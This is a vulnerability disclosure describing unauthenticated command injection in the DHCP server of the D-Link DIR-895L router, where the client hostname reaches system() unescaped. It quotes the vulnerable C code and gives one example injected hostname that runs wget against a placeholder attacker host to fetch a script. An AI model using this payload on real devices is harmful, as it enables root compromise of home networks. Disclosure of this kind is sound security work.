Vulnerability Title: Command Injection Vulnerability in udhcpd sendACK() TR-069 Host Helper of D-Link DIR-895L

Discovered by: tzh00203

Contact Information: [email protected]

Affected Version: D-Link DIR-895L firmware builds based on the provided GPL source package that include TR-069 support; the exact public firmware version string should be confirmed on the test image before submission

Component: udhcpcd DHCP server, sendACK() path, TR-069 host helper notification

1. Vulnerability Overview

A command injection vulnerability exists in the udhcpcd DHCP server of D-Link DIR-895L. The issue is located in the sendACK() path, where the server reads a client-controlled DHCP hostname from Option 12, concatenates it into a shell command for the TR-069 host helper, and executes the resulting string with system().

Because the vulnerable path is reachable by an unauthenticated DHCP client on the local network, a remote attacker on the LAN can execute arbitrary commands as root by sending a crafted DHCP request containing a malicious hostname.

2. Detailed Description

The vulnerability is present in sendACK(struct dhcpMessage *oldpacket, u_int32_t yiaddr) in udhcpcd/serverpacket.c.

The function extracts the hostname directly from the received DHCP packet:

host_name = get_option(oldpacket,DHCP_HOST_NAME);
if (host_name)
{
    memcpy(hname, host_name, *(host_name-1));
    hname[*(host_name-1)]='\0';
    host_name = (unsigned char *)hname;
}

Later, after preparing the DHCP ACK, the same attacker-controlled value is inserted into a command string:

sprintf(device_info,"%s,%s,%s,%s %d",
        server_config.interface,mac,inet_ntoa(addr),(char *)host_name,is_tr069cpe);
...
sprintf(cmd,"%s ADD %s",server_config.tr069_host_helper,params);
system(cmd);

No sanitization or escaping is applied before the hostname is passed to the shell. As a result, shell metacharacters such as ;, &, |, and ``` can alter command execution.

For example, a hostname such as:

client; wget <http://ATTACKER/poc.sh>; #

causes the generated shell command to include attacker-supplied shell syntax before system() executes it.